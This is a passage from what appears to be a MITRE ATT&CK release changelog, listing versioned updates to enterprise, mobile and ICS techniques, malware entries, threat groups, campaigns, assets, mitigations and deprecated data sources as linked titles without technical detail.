Extension](/techniques/T1036/007) (v1.0) + * [Invalid Code Signature](/techniques/T1036/001) (v1.0) + * [Masquerade File Type](/techniques/T1036/008) (v1.1) + * [Masquerade Task or Service](/techniques/T1036/004) (v1.2) + * [Match Legitimate Resource Name or Location](/techniques/T1036/005) (v2.0) + * [Rename Legitimate Utilities](/techniques/T1036/003) (v2.0) + * [Right-to-Left Override](/techniques/T1036/002) (v1.1) + * [Space after Filename](/techniques/T1036/006) (v1.1) +* [Modify Authentication Process](/techniques/T1556) (v2.6) + * [Domain Controller Authentication](/techniques/T1556/001) (v2.1) + * [Network Device Authentication](/techniques/T1556/004) (v2.1) + * [Password Filter DLL](/techniques/T1556/002) (v2.1) + * [Pluggable Authentication Modules](/techniques/T1556/003) (v2.1) + * [Reversible Encryption](/techniques/T1556/005) (v1.1) +* [Modify Cloud Compute Infrastructure](/techniques/T1578) (v1.2) + * [Create Cloud Instance](/techniques/T1578/002) (v1.2) + * [Create Snapshot](/techniques/T1578/001) (v1.2) + * [Delete Cloud Instance](/techniques/T1578/003) (v1.2) + * [Revert Cloud Instance](/techniques/T1578/004) (v1.2) +* [Modify Registry](/techniques/T1112) (v2.0) +* [Modify System Image](/techniques/T1601) (v1.1) + * [Downgrade System Image](/techniques/T1601/002) (v1.1) + * [Patch System Image](/techniques/T1601/001) (v1.1) +* [Multi-Factor Authentication Interception](/techniques/T1111) (v2.1) +* [Multi-Factor Authentication Request Generation](/techniques/T1621) (v1.2) +* [Multi-Stage Channels](/techniques/T1104) (v1.1) +* [Native API](/techniques/T1106) (v2.3) +* [Network Boundary Bridging](/techniques/T1599) (v1.2) +* [Network Denial of Service](/techniques/T1498) (v1.2) + * [Direct Network Flood](/techniques/T1498/001) (v1.4) + * [Reflection Amplification](/techniques/T1498/002) (v1.4) +* [Network Service Discovery](/techniques/T1046) (v3.2) +* [Network Share Discovery](/techniques/T1135) (v3.2) +* [Network Sniffing](/techniques/T1040) (v1.7) +* [Non-Application Layer Protocol](/techniques/T1095) (v2.4) +* [OS Credential Dumping](/techniques/T1003) (v2.2) + * [/etc/passwd and /etc/shadow](/techniques/T1003/008) (v1.2) + * [Cached Domain Credentials](/techniques/T1003/005) (v1.1) + * [DCSync](/techniques/T1003/006) (v1.1) + * [LSA Secrets](/techniques/T1003/004) (v1.1) + * [LSASS Memory](/techniques/T1003/001) (v1.5) + * [NTDS](/techniques/T1003/003) (v1.3) + * [Proc Filesystem](/techniques/T1003/007) (v1.2) + * [Security Account Manager](/techniques/T1003/002) (v1.1) +* [Obfuscated Files or Information](/techniques/T1027) (v1.7) + * [Binary Padding](/techniques/T1027/001) (v1.3) + * [Compile After Delivery](/techniques/T1027/004) (v1.2) + * [Indicator Removal from Tools](/techniques/T1027/005) (v1.2) + * [LNK Icon Smuggling](/techniques/T1027/012) (v1.0) + * [Software Packing](/techniques/T1027/002) (v1.3) + * [Steganography](/techniques/T1027/003) (v1.2) +* [Obtain Capabilities](/techniques/T1588) (v1.1) + * [Artificial Intelligence](/techniques/T1588/007) (v1.1) + * [Code Signing Certificates](/techniques/T1588/003) (v1.1) + * [Digital Certificates](/techniques/T1588/004) (v1.2) + * [Exploits](/techniques/T1588/005) (v1.0) + * [Malware](/techniques/T1588/001) (v1.1) + * [Vulnerabilities](/techniques/T1588/006) (v1.0) +* [Office Application Startup](/techniques/T1137) (v1.4) + * [Add-ins](/techniques/T1137/006) (v1.2) + * [Office Template Macros](/techniques/T1137/001) (v1.2) + * [Office Test](/techniques/T1137/002) (v1.3) + * [Outlook Forms](/techniques/T1137/003) (v1.2) + * [Outlook Home Page](/techniques/T1137/004) (v1.2) + * [Outlook Rules](/techniques/T1137/005) (v1.2) +* [Password Policy Discovery](/techniques/T1201) (v1.7) +* [Peripheral Device Discovery](/techniques/T1120) (v1.4) +* [Permission Groups Discovery](/techniques/T1069) (v2.6) + * [Cloud Groups](/techniques/T1069/003) (v1.5) + * [Domain Groups](/techniques/T1069/002) (v1.2) + * [Local Groups](/techniques/T1069/001) (v1.2) +* [Phishing](/techniques/T1566) (v2.7) + * [Spearphishing Attachment](/techniques/T1566/001) (v2.2) + * [Spearphishing Voice](/techniques/T1566/004) (v1.2) + * [Spearphishing via Service](/techniques/T1566/003) (v2.0) +* [Phishing for Information](/techniques/T1598) (v1.4) + * [Spearphishing Attachment](/techniques/T1598/002) (v1.2) + * [Spearphishing Service](/techniques/T1598/001) (v1.0) +* [Plist File Modification](/techniques/T1647) (v1.0) +* [Power Settings](/techniques/T1653) (v1.1) +* [Pre-OS Boot](/techniques/T1542) (v1.3) + * [Bootkit](/techniques/T1542/003) (v1.2) + * [Component Firmware](/techniques/T1542/002) (v1.2) + * [ROMMONkit](/techniques/T1542/004) (v1.1) + * [System Firmware](/techniques/T1542/001) (v1.2) + * [TFTP Boot](/techniques/T1542/005) (v1.1) +* [Process Discovery](/techniques/T1057) (v1.6) +* [Process Injection](/techniques/T1055) (v1.4) + * [Asynchronous Procedure Call](/techniques/T1055/004) (v1.2) + * [Dynamic-link Library Injection](/techniques/T1055/001) (v1.4) + * [Extra Window Memory Injection](/techniques/T1055/011) (v1.1) + * [ListPlanting](/techniques/T1055/015) (v1.2) + * [Portable Executable Injection](/techniques/T1055/002) (v1.2) + * [Proc Memory](/techniques/T1055/009) (v1.1) + * [Process Doppelgänging](/techniques/T1055/013) (v1.1) + * [Process Hollowing](/techniques/T1055/012) (v1.4) + * [Ptrace System Calls](/techniques/T1055/008) (v1.2) + * [Thread Execution Hijacking](/techniques/T1055/003) (v1.2) + * [Thread Local Storage](/techniques/T1055/005) (v1.2) + * [VDSO Hijacking](/techniques/T1055/014) (v1.2) +* [Protocol Tunneling](/techniques/T1572) (v1.1) +* [Proxy](/techniques/T1090) (v3.2) + * [Domain Fronting](/techniques/T1090/004) (v1.2) + * [Internal Proxy](/techniques/T1090/001) (v1.2) +* [Query Registry](/techniques/T1012) (v1.3) +* [Reflective Code Loading](/techniques/T1620) (v1.3) +* [Remote Access Tools](/techniques/T1219) (v3.0) +* [Remote Service Session Hijacking](/techniques/T1563) (v1.1) + * [RDP Hijacking](/techniques/T1563/002) (v1.1) + * [SSH Hijacking](/techniques/T1563/001) (v1.1) +* [Remote Services](/techniques/T1021) (v1.6) + * [Distributed Component Object Model](/techniques/T1021/003) (v1.3) + * [SMB/Windows Admin Shares](/techniques/T1021/002) (v1.3) + * [SSH](/techniques/T1021/004) (v1.3) + * [VNC](/techniques/T1021/005) (v1.2) + * [Windows Remote Management](/techniques/T1021/006) (v1.2) +* [Remote System Discovery](/techniques/T1018) (v3.6) +* [Replication Through Removable Media](/techniques/T1091) (v1.3) +* [Resource Hijacking](/techniques/T1496) (v2.0) +* [Rogue Domain Controller](/techniques/T1207) (v2.2) +* [Scheduled Task/Job](/techniques/T1053) (v2.4) + * [At](/techniques/T1053/002) (v2.4) + * [Container Orchestration Job](/techniques/T1053/007) (v1.4) + * [Cron](/techniques/T1053/003) (v1.3) + * [Systemd Timers](/techniques/T1053/006) (v1.3) +* [Scheduled Transfer](/techniques/T1029) (v1.1) +* [Screen Capture](/techniques/T1113) (v1.1) +* [Search Closed Sources](/techniques/T1597) (v1.1) + * [Purchase Technical Data](/techniques/T1597/002) (v1.0) +* [Search Open Technical Databases](/techniques/T1596) (v1.0) + * [CDNs](/techniques/T1596/004) (v1.0) + * [DNS/Passive DNS](/techniques/T1596/001) (v1.0) + * [Digital Certificates](/techniques/T1596/003) (v1.0) + * [Scan Databases](/techniques/T1596/005) (v1.0) + * [WHOIS](/techniques/T1596/002) (v1.0) +* [Search Open Websites/Domains](/techniques/T1593) (v1.1) + * [Code Repositories](/techniques/T1593/003) (v1.0) + * [Search Engines](/techniques/T1593/002) (v1.0) + * [Social Media](/techniques/T1593/001) (v1.0) +* [Search Victim-Owned Websites](/techniques/T1594) (v1.1) +* [Server Software Component](/techniques/T1505) (v1.5) + * [IIS Components](/techniques/T1505/004) (v1.1) + * [SQL Stored Procedures](/techniques/T1505/001) (v1.1) + * [Terminal Services DLL](/techniques/T1505/005) (v1.0) + * [Transport Agent](/techniques/T1505/002) (v1.1) + * [Web Shell](/techniques/T1505/003) (v1.5) +* [Shared Modules](/techniques/T1129) (v2.3) +* [Software Deployment Tools](/techniques/T1072) (v3.2) +* [Software Discovery](/techniques/T1518) (v1.5) + * [Security Software Discovery](/techniques/T1518/001) (v1.5) +* [Software Extensions](/techniques/T1176) (v2.0) +* [Stage Capabilities](/techniques/T1608) (v1.2) + * [Drive-by Target](/techniques/T1608/004) (v1.3) + * [Install Digital Certificate](/techniques/T1608/003) (v1.1) + * [Link Target](/techniques/T1608/005) (v1.4) + * [Upload Tool](/techniques/T1608/002) (v1.2) +* [Steal Application Access Token](/techniques/T1528) (v1.5) +* [Steal or Forge Kerberos Tickets](/techniques/T1558) (v1.7) + * [AS-REP Roasting](/techniques/T1558/004) (v1.2) + * [Golden Ticket](/techniques/T1558/001) (v1.2) + * [Kerberoasting](/techniques/T1558/003) (v1.3) + * [Silver Ticket](/techniques/T1558/002) (v1.1) +* [Subvert Trust Controls](/techniques/T1553) (v1.3) + * [Code Signing](/techniques/T1553/002) (v1.2) + * [Code Signing Policy Modification](/techniques/T1553/006) (v1.1) + * [Gatekeeper Bypass](/techniques/T1553/001) (v1.3) + * [Install Root Certificate](/techniques/T1553/004) (v1.3) + * [Mark-of-the-Web Bypass](/techniques/T1553/005) (v1.2) + * [SIP and Trust Provider Hijacking](/techniques/T1553/003) (v1.1) +* Supply Chain Compromise: [Compromise Hardware Supply Chain](/techniques/T1195/003) (v1.1) +* Supply Chain Compromise: [Compromise Software Supply Chain](/techniques/T1195/002) (v1.1) +* [System Binary Proxy Execution](/techniques/T1218) (v3.2) + * [CMSTP](/techniques/T1218/003) (v2.2) + * [Compiled HTML File](/techniques/T1218/001) (v2.2) + * [Control Panel](/techniques/T1218/002) (v2.1) + * [InstallUtil](/techniques/T1218/004) (v2.1) + * [MMC](/techniques/T1218/014) (v2.1) + * [Mavinject](/techniques/T1218/013) (v2.0) + * [Mshta](/techniques/T1218/005) (v2.1) + * [Msiexec](/techniques/T1218/007) (v2.1) + * [Odbcconf](/techniques/T1218/008) (v2.1) + * [Regsvcs/Regasm](/techniques/T1218/009) (v2.1) + * [Regsvr32](/techniques/T1218/010) (v2.2) + * [Verclsid](/techniques/T1218/012) (v2.1) +* [System Location Discovery](/techniques/T1614) (v1.1) + * [System Language Discovery](/techniques/T1614/001) (v1.1) +* [System Network Configuration Discovery](/techniques/T1016) (v1.7) +* [System Network Connections Discovery](/techniques/T1049) (v2.5) +* [System Owner/User Discovery](/techniques/T1033) (v1.6) +* [System Script Proxy Execution](/techniques/T1216) (v2.1) + * [PubPrn](/techniques/T1216/001) (v2.1) +* [System Services](/techniques/T1569) (v1.4) + * [Launchctl](/techniques/T1569/001) (v1.3) + * [Service Execution](/techniques/T1569/002) (v1.3) +* [System Time Discovery](/techniques/T1124) (v1.5) +* [Taint Shared Content](/techniques/T1080) (v1.6) +* [Template Injection](/techniques/T1221) (v1.4) +* [Traffic Signaling](/techniques/T1205) (v2.5) + * [Port Knocking](/techniques/T1205/001) (v1.2) + * [Socket Filters](/techniques/T1205/002) (v1.0) +* [Transfer Data to Cloud Account](/techniques/T1537) (v1.5) +* [Trusted Developer Utilities Proxy Execution](/techniques/T1127) (v1.3) + * [MSBuild](/techniques/T1127/001) (v1.4) +* [Trusted Relationship](/techniques/T1199) (v2.4) +* [Unsecured Credentials](/techniques/T1552) (v1.5) + * [Cloud Instance Metadata API](/techniques/T1552/005) (v1.4) + * [Container API](/techniques/T1552/007) (v1.2) + * [Credentials In Files](/techniques/T1552/001) (v1.3) + * [Credentials in Registry](/techniques/T1552/002) (v1.2) + * [Group Policy Preferences](/techniques/T1552/006) (v1.1) + * [Private Keys](/techniques/T1552/004) (v1.3) +* [Unused/Unsupported Cloud Regions](/techniques/T1535) (v1.1) +* [Use Alternate Authentication Material](/techniques/T1550) (v1.5) + * [Application Access Token](/techniques/T1550/001) (v1.8) + * [Pass the Hash](/techniques/T1550/002) (v1.3) + * [Pass the Ticket](/techniques/T1550/003) (v1.2) + * [Web Session Cookie](/techniques/T1550/004) (v1.5) +* [User Execution](/techniques/T1204) (v1.8) + * [Malicious Image](/techniques/T1204/003) (v1.2) + * [Malicious Link](/techniques/T1204/001) (v1.2) +* [Valid Accounts](/techniques/T1078) (v2.8) + * [Cloud Accounts](/techniques/T1078/004) (v1.9) + * [Default Accounts](/techniques/T1078/001) (v1.5) + * [Domain Accounts](/techniques/T1078/002) (v1.5) + * [Local Accounts](/techniques/T1078/003) (v1.5) +* [Video Capture](/techniques/T1125) (v1.2) +* [Virtualization/Sandbox Evasion](/techniques/T1497) (v1.4) + * [System Checks](/techniques/T1497/001) (v2.3) + * [User Activity Based Checks](/techniques/T1497/002) (v1.2) +* [Weaken Encryption](/techniques/T1600) (v1.1) + * [Disable Crypto Hardware](/techniques/T1600/002) (v1.1) + * [Reduce Key Space](/techniques/T1600/001) (v1.1) +* [Web Service](/techniques/T1102) (v1.3) + * [Bidirectional Communication](/techniques/T1102/002) (v1.1) + * [Dead Drop Resolver](/techniques/T1102/001) (v1.1) + * [One-Way Communication](/techniques/T1102/003) (v1.1) +* [Windows Management Instrumentation](/techniques/T1047) (v1.6) +* [XSL Script Processing](/techniques/T1220) (v1.3) + +### Mobile + +#### New Techniques + +* [Linked Devices](/techniques/T1676) (v1.0) +* Protected User Data: [Accounts](/techniques/T1636/005) (v1.0) + +#### Major Version Changes + +* [Abuse Accessibility Features](/techniques/T1453/) (v2.0→v3.0) + +#### Minor Version Changes + +* [Network Denial of Service](/techniques/T1464) (v1.3→v1.4) +* [Phishing](/techniques/T1660) (v1.0→v1.1) + +#### Patches + +* [Abuse Accessibility Features](/techniques/T1453) (v2.0) +* [Abuse Elevation Control Mechanism](/techniques/T1626) (v1.1) + * [Device Administrator Permissions](/techniques/T1626/001) (v1.1) +* [Access Notifications](/techniques/T1517) (v1.2) +* [Account Access Removal](/techniques/T1640) (v1.1) +* [Adversary-in-the-Middle](/techniques/T1638) (v2.2) +* [Application Layer Protocol](/techniques/T1437) (v1.2) + * [Web Protocols](/techniques/T1437/001) (v1.0) +* [Archive Collected Data](/techniques/T1532) (v2.0) +* [Audio Capture](/techniques/T1429) (v3.1) +* [Boot or Logon Initialization Scripts](/techniques/T1398) (v2.1) +* [Call Control](/techniques/T1616) (v1.2) +* [Clipboard Data](/techniques/T1414) (v3.1) +* [Command and Scripting Interpreter](/techniques/T1623) (v1.2) + * [Unix Shell](/techniques/T1623/001) (v1.2) +* [Compromise Application Executable](/techniques/T1577) (v1.0) +* [Compromise Client Software Binary](/techniques/T1645) (v1.1) +* [Credentials from Password Store](/techniques/T1634) (v1.1) + * [Keychain](/techniques/T1634/001) (v1.1) +* [Data Encrypted for Impact](/techniques/T1471) (v3.2) +* [Data Manipulation](/techniques/T1641) (v1.1) + * [Transmitted Data Manipulation](/techniques/T1641/001) (v1.1) +* [Data from Local System](/techniques/T1533) (v1.1) +* [Download New Code at Runtime](/techniques/T1407) (v1.5) +* [Drive-By Compromise](/techniques/T1456) (v2.2) +* [Dynamic Resolution](/techniques/T1637) (v1.1) + * [Domain Generation Algorithms](/techniques/T1637/001) (v1.1) +* [Encrypted Channel](/techniques/T1521) (v2.0) + * [Asymmetric Cryptography](/techniques/T1521/002) (v1.0) + * [Symmetric Cryptography](/techniques/T1521/001) (v1.0) +* [Endpoint Denial of Service](/techniques/T1642) (v1.1) +* [Event Triggered Execution](/techniques/T1624) (v1.1) + * [Broadcast Receivers](/techniques/T1624/001) (v1.1) +* [Execution Guardrails](/techniques/T1627) (v1.1) + * [Geofencing](/techniques/T1627/001) (v1.1) +* [Exfiltration Over Alternative Protocol](/techniques/T1639) (v1.1) + * [Exfiltration Over Unencrypted Non-C2 Protocol](/techniques/T1639/001) (v1.1) +* [Exfiltration Over C2 Channel](/techniques/T1646) (v1.1) +* [Exploitation for Privilege Escalation](/techniques/T1404) (v2.1) +* [Exploitation of Remote Services](/techniques/T1428) (v1.2) +* [File and Directory Discovery](/techniques/T1420) (v1.2) +* [Foreground Persistence](/techniques/T1541) (v2.1) +* [Generate Traffic from Victim](/techniques/T1643) (v1.1) +* [Hide Artifacts](/techniques/T1628) (v1.1) + * [Suppress Application Icon](/techniques/T1628/001) (v1.1) + * [User Evasion](/techniques/T1628/002) (v1.0) +* [Hijack Execution Flow](/techniques/T1625) (v1.1) + * [System Runtime API Hijacking](/techniques/T1625/001) (v1.1) +* [Hooking](/techniques/T1617) (v1.0) +* [Impair Defenses](/techniques/T1629) (v1.1) + * [Device Lockout](/techniques/T1629/002) (v1.1) + * [Disable or Modify Tools](/techniques/T1629/003) (v1.1) + * [Prevent Application Removal](/techniques/T1629/001) (v1.2) +* [Indicator Removal on Host](/techniques/T1630) (v1.1) + * [Disguise Root/Jailbreak Indicators](/techniques/T1630/003) (v1.1) + * [File Deletion](/techniques/T1630/002) (v1.1) + * [Uninstall Malicious Application](/techniques/T1630/001) (v1.1) +* [Ingress Tool Transfer](/techniques/T1544) (v2.2) +* [Input Capture](/techniques/T1417) (v2.3) + * [GUI Input Capture](/techniques/T1417/002) (v1.1) + * [Keylogging](/techniques/T1417/001) (v1.1) +* [Input Injection](/techniques/T1516) (v1.2) +* [Location Tracking](/techniques/T1430) (v1.2) + * [Impersonate SS7 Nodes](/techniques/T1430/002) (v1.1) + * [Remote Device Management Services](/techniques/T1430/001) (v1.1) +* [Lockscreen Bypass](/techniques/T1461) (v1.3) +* [Masquerading](/techniques/T1655) (v1.0) +* [Native API](/techniques/T1575) (v2.0) +* [Network Service Scanning](/techniques/T1423) (v1.1) +* [Non-Standard Port](/techniques/T1509) (v2.1) +* [Obfuscated Files or Information](/techniques/T1406) (v3.1) + * [Software Packing](/techniques/T1406/002) (v1.1) + * [Steganography](/techniques/T1406/001) (v1.0) +* [Out of Band Data](/techniques/T1644) (v2.1) +* [Process Discovery](/techniques/T1424) (v2.1) +* [Process Injection](/techniques/T1631) (v1.1) + * [Ptrace System Calls](/techniques/T1631/001) (v1.1) +* [Protected User Data](/techniques/T1636) (v1.1) + * [Calendar Entries](/techniques/T1636/001) (v1.1) + * [Call Log](/techniques/T1636/002) (v1.1) + * [Contact List](/techniques/T1636/003) (v1.1) + * [SMS Messages](/techniques/T1636/004) (v1.1) +* [Proxy Through Victim](/techniques/T1604) (v1.1) +* [SMS Control](/techniques/T1582) (v1.1) +* [Scheduled Task/Job](/techniques/T1603) (v1.0) +* [Screen Capture](/techniques/T1513) (v1.3) +* [Software Discovery](/techniques/T1418) (v2.1) + * [Security Software Discovery](/techniques/T1418/001) (v1.1) +* [Steal Application Access Token](/techniques/T1635) (v1.2) + * [URI Hijacking](/techniques/T1635/001) (v1.1) +* [Stored Application Data](/techniques/T1409) (v3.1) +* [Subvert Trust Controls](/techniques/T1632) (v1.1) + * [Code Signing Policy Modification](/techniques/T1632/001) (v1.1) +* [Supply Chain Compromise](/techniques/T1474) (v2.1) + * [Compromise Hardware Supply Chain](/techniques/T1474/002) (v1.1) + * [Compromise Software Dependencies and Development Tools](/techniques/T1474/001) (v1.1) + * [Compromise Software Supply Chain](/techniques/T1474/003) (v1.1) +* [System Information Discovery](/techniques/T1426) (v1.2) +* [System Network Configuration Discovery](/techniques/T1422) (v2.4) +* [System Network Connections Discovery](/techniques/T1421) (v2.1) +* [Video Capture](/techniques/T1512) (v2.1) +* [Virtualization/Sandbox Evasion](/techniques/T1633) (v1.1) + * [System Checks](/techniques/T1633/001) (v1.1) +* [Web Service](/techniques/T1481) (v1.3) + * [Bidirectional Communication](/techniques/T1481/002) (v1.2) + * [Dead Drop Resolver](/techniques/T1481/001) (v1.2) + * [One-Way Communication](/techniques/T1481/003) (v1.2) + +### ICS + +#### Patches + +* [Screen Capture](/techniques/T0852) (v1.0) +* [Theft of Operational Information](/techniques/T0882) (v1.0) + +## Software + +### Enterprise + +#### New Software + +* [BOOKWORM](/software/S1226) (v1.0) +* [BeaverTail](/software/S1246) (v1.0) +* [CANONSTAGER](/software/S1237) (v1.0) +* [CASTLETAP](/software/S1224) (v1.0) +* [CLAIMLOADER](/software/S1236) (v1.0) +* [CorKLOG](/software/S1235) (v1.0) +* [Embargo](/software/S1247) (v1.0) +* [HIUPAN](/software/S1230) (v1.0) +* [Havoc](/software/S1229) (v1.0) +* [HexEval Loader](/software/S1249) (v1.0) +* [InvisibleFerret](/software/S1245) (v1.0) +* [MEDUSA](/software/S1220) (v1.0) +* [MOPSLED](/software/S1221) (v1.0) +* [Medusa Ransomware](/software/S1244) (v1.0) +* [PAKLOG](/software/S1233) (v1.0) +* [PUBLOAD](/software/S1228) (v1.0) +* [Qilin](/software/S1242) (v1.0) +* [REPTILE](/software/S1219) (v1.0) +* [RIFLESPINE](/software/S1222) (v1.0) +* [RedLine Stealer](/software/S1240) (v1.0) +* [STATICPLUGIN](/software/S1238) (v1.0) +* [SplatCloak](/software/S1234) (v1.0) +* [SplatDropper](/software/S1232) (v1.0) +* [StarProxy](/software/S1227) (v1.0) +* [THINCRUST](/software/S1223) (v1.0) +* [TONESHELL](/software/S1239) (v1.0) +* [VIRTUALPIE](/software/S1218) (v1.0) +* [VIRTUALPITA](/software/S1217) (v1.0) +* [XORIndex Loader](/software/S1248) (v1.0) + +#### Major Version Changes + +* [Lizar](/software/S0681) (v1.0→v2.0) + +#### Minor Version Changes + +* [Aria-body](/software/S0456) (v1.2→v1.3) +* [Avenger](/software/S0473) (v1.1→v1.2) +* [BLINDINGCAN](/software/S0520) (v1.1→v1.2) +* [Bankshot](/software/S0239) (v1.1→v1.2) +* [Black Basta](/software/S1070) (v1.1→v1.2) +* [BlackCat](/software/S1068) (v1.0→v1.1) +* [CORESHELL](/software/S0137) (v2.1→v2.2) +* [CharmPower](/software/S0674) (v1.0→v1.1) +* [ConnectWise](/software/S0591) (v1.0→v1.1) +* [DarkGate](/software/S1111) (v1.0→v1.1) +* [Epic](/software/S0091) (v1.3→v1.4) +* [FALLCHILL](/software/S0181) (v1.2→v1.3) +* [HOPLIGHT](/software/S0376) (v1.3→v1.4) +* [HermeticWiper](/software/S0697) (v1.1→v1.2) +* [KEYMARBLE](/software/S0271) (v1.1→v1.2) +* [KONNI](/software/S0356) (v2.1→v2.2) +* [Kazuar](/software/S0265) (v1.3→v1.4) +* [LitePower](/software/S0680) (v1.0→v1.1) +* [LockBit 2.0](/software/S1199) (v1.0→v1.1) +* [LockBit 3.0](/software/S1202) (v1.0→v1.1) +* [MacMa](/software/S1016) (v2.0→v2.1) +* [Machete](/software/S0409) (v2.1→v2.2) +* [Mafalda](/software/S1060) (v1.1→v1.2) +* [Mongall](/software/S1026) (v1.0→v1.1) +* [NOKKI](/software/S0353) (v1.1→v1.2) +* [Nightdoor](/software/S1147) (v1.0→v1.1) +* [Ninja](/software/S1100) (v1.0→v1.1) +* [Octopus](/software/S0340) (v2.0→v2.1) +* [Pasam](/software/S0208) (v1.1→v1.2) +* [Penquin](/software/S0587) (v1.2→v1.3) +* [Proxysvc](/software/S0238) (v1.2→v1.3) +* [REvil](/software/S0496) (v2.2→v2.3) +* [Raccoon Stealer](/software/S1148) (v1.0→v1.1) +* [Rclone](/software/S1040) (v1.1→v1.2) +* [Reaver](/software/S0172) (v1.2→v1.3) +* [Remsec](/software/S0125) (v1.4→v1.5) +* [Royal](/software/S1073) (v1.1→v1.2) +* [RunningRAT](/software/S0253) (v1.1→v1.2) +* [SLOTHFULMEDIA](/software/S0533) (v1.0→v1.1) +* [SUGARUSH](/software/S1049) (v1.0→v1.1) +* [SampleCheck5000](/software/S1168) (v1.0→v1.1) +* [Sardonic](/software/S1085) (v1.0→v1.1) +* [ShadowPad](/software/S0596) (v1.2→v1.3) +* [SoreFang](/software/S0516) (v1.0→v1.1) +* [StrifeWater](/software/S1034) (v1.0→v1.1) +* [SysUpdate](/software/S0663) (v1.2→v1.3) +* [Tor](/software/S0183) (v1.3→v1.4) +* [Woody RAT](/software/S1065) (v1.1→v1.2) +* [Zebrocy](/software/S0251) (v3.0→v3.1) +* [ftp](/software/S0095) (v2.1→v2.2) +* [macOS.OSAMiner](/software/S1048) (v1.0→v1.1) +* [ngrok](/software/S0508) (v1.3→v1.4) +* [yty](/software/S0248) (v1.2→v1.3) + +#### Patches + +* [Empire](/software/S0363) (v1.8) +* [PlugX](/software/S0013) (v3.2) + +### Mobile + +#### New Software + +* [CherryBlos](/software/S1225) (v1.0) +* [DCHSpy](/software/S1243) (v1.0) +* [GodFather](/software/S1231) (v1.0) +* [RatMilad](/software/S1241) (v1.0) + +#### Major Version Changes + +* [Chameleon](/software/S1083) (v1.0→v2.0) + +### ICS + +#### Minor Version Changes + +* [REvil](/software/S0496) (v2.2→v2.3) + +## Groups + +### Enterprise + +#### New Groups + +* [AppleJeus](/groups/G1049) (v1.0) +* [Contagious Interview](/groups/G1052) (v1.0) +* [Medusa Group](/groups/G1051) (v1.0) +* [Storm-0501](/groups/G1053) (v1.0) +* [UNC3886](/groups/G1048) (v1.0) +* [Water Galura](/groups/G1050) (v1.0) + +#### Major Version Changes + +* [Lazarus Group](/groups/G0032) (v4.1→v5.0) +* [MuddyWater](/groups/G0069) (v5.1→v6.0) +* [Mustang Panda](/groups/G0129) (v2.1→v3.0) +* [Scattered Spider](/groups/G1015) (v2.0→v3.0) +* [Star Blizzard](/groups/G1033) (v1.0→v2.0) +* [Threat Group-3390](/groups/G0027) (v2.2→v3.0) + +#### Minor Version Changes + +* [APT41](/groups/G0096) (v4.1→v4.2) +* [Earth Lusca](/groups/G1006) (v2.0→v2.1) +* [FIN7](/groups/G0046) (v4.0→v4.1) +* [Gamaredon Group](/groups/G0047) (v3.1→v3.2) +* [Higaisa](/groups/G0126) (v1.1→v1.2) +* [Patchwork](/groups/G0040) (v1.5→v1.6) +* [TeamTNT](/groups/G0139) (v1.3→v1.4) +* [Tropic Trooper](/groups/G0081) (v1.5→v1.6) +* [ZIRCONIUM](/groups/G0128) (v2.2→v2.3) + +#### Patches + +* [Kimsuky](/groups/G0094) (v5.1) + +### Mobile + +#### New Groups + +* [MuddyWater](/groups/G0069) (v6.0) +* [Star Blizzard](/groups/G1033) (v2.0) + +#### Major Version Changes + +* [Scattered Spider](/groups/G1015) (v2.0→v3.0) + +#### Minor Version Changes + +* [APT41](/groups/G0096) (v4.1→v4.2) +* [Earth Lusca](/groups/G1006) (v2.0→v2.1) + +### ICS + +#### Major Version Changes + +* [Lazarus Group](/groups/G0032) (v4.1→v5.0) + +#### Minor Version Changes + +* [FIN7](/groups/G0046) (v4.0→v4.1) + +## Campaigns + +### Enterprise + +#### New Campaigns + +* [3CX Supply Chain Attack](/campaigns/C0057) (v1.0) +* [Quad7 Activity](/campaigns/C0055) (v1.0) +* [RedPenguin](/campaigns/C0056) (v1.0) +* [Salesforce Data Exfiltration](/campaigns/C0059) (v1.0) +* [SharePoint ToolShell Exploitation](/campaigns/C0058) (v1.0) + +#### Minor Version Changes + +* [Operation Wocao](/campaigns/C0014) (v1.1→v1.2) + +#### Patches + +* [SolarWinds Compromise](/campaigns/C0024) (v1.1) + +## Assets + +### ICS + +#### New Assets + +* [Distributed Control System (DCS) Controller](/assets/A0017) (v1.0) +* [Firewall](/assets/A0016) (v1.0) +* [Programmable Automation Controller (PAC)](/assets/A0018) (v1.0) +* [Switch](/assets/A0015) (v1.0) + +#### Major Version Changes + +* [Application Server](/assets/A0008) (v1.0→v2.0) +* [Control Server](/assets/A0007) (v1.0→v2.0) +* [Data Gateway](/assets/A0009) (v1.0→v2.0) +* [Data Historian](/assets/A0006) (v1.0→v2.0) +* [Routers](/assets/A0014) (v1.0→v2.0) +* [Workstation](/assets/A0001) (v1.0→v2.0) + +## Mitigations + +### Enterprise + +#### Minor Version Changes + +* [Application Isolation and Sandboxing](/mitigations/M1048) (v1.2→v1.3) + +#### Patches + +* [Multi-factor Authentication](/mitigations/M1032) (v1.1) + +## Data Sources + +### Enterprise + +#### Deprecations + +* [Active Directory](/datasources/DS0026) (v1.0) +* [Application Log](/datasources/DS0015) (v1.1) +* [Certificate](/datasources/DS0037) (v1.0) +* [Cloud Service](/datasources/DS0025) (v1.0) +* [Cloud Storage](/datasources/DS0010) (v1.0) +* [Command](/datasources/DS0017) (v1.2) +* [Container](/datasources/DS0032) (v1.0) +* [Domain Name](/datasources/DS0038) (v1.0) +* [Drive](/datasources/DS0016) (v1.0) +* [Driver](/datasources/DS0027) (v1.0) +* [File](/datasources/DS0022) (v1.1) +* [Firewall](/datasources/DS0018) (v1.1) +* [Firmware](/datasources/DS0001) (v1.0) +* [Group](/datasources/DS0036) (v1.0) +* [Image](/datasources/DS0007) (v1.0) +* [Instance](/datasources/DS0030) (v1.0) +* [Internet Scan](/datasources/DS0035) (v1.0) +* [Kernel](/datasources/DS0008) (v1.0) +* [Logon Session](/datasources/DS0028) (v1.2) +* [Malware Repository](/datasources/DS0004) (v1.1) +* [Module](/datasources/DS0011) (v1.0) +* [Named Pipe](/datasources/DS0023) (v1.0) +* [Network Share](/datasources/DS0033) (v1.0) +* [Network Traffic](/datasources/DS0029) (v1.2) +* [Persona](/datasources/DS0021) (v1.0) +* [Pod](/datasources/DS0014) (v1.0) +* [Process](/datasources/DS0009) (v1.2) +* [Scheduled Job](/datasources/DS0003) (v1.1) +* [Script](/datasources/DS0012) (v1.2) +* [Sensor Health](/datasources/DS0013) (v1.1) +* [Service](/datasources/DS0019) (v1.1) +* [Snapshot](/datasources/DS0020) (v1.0) +* [User Account](/datasources/DS0002) (v1.2) +* [Volume](/datasources/DS0034) (v1.0) +* [WMI](/datasources/DS0005) (v1.0) +* [Web Credential](/datasources/DS0006) (v1.0) 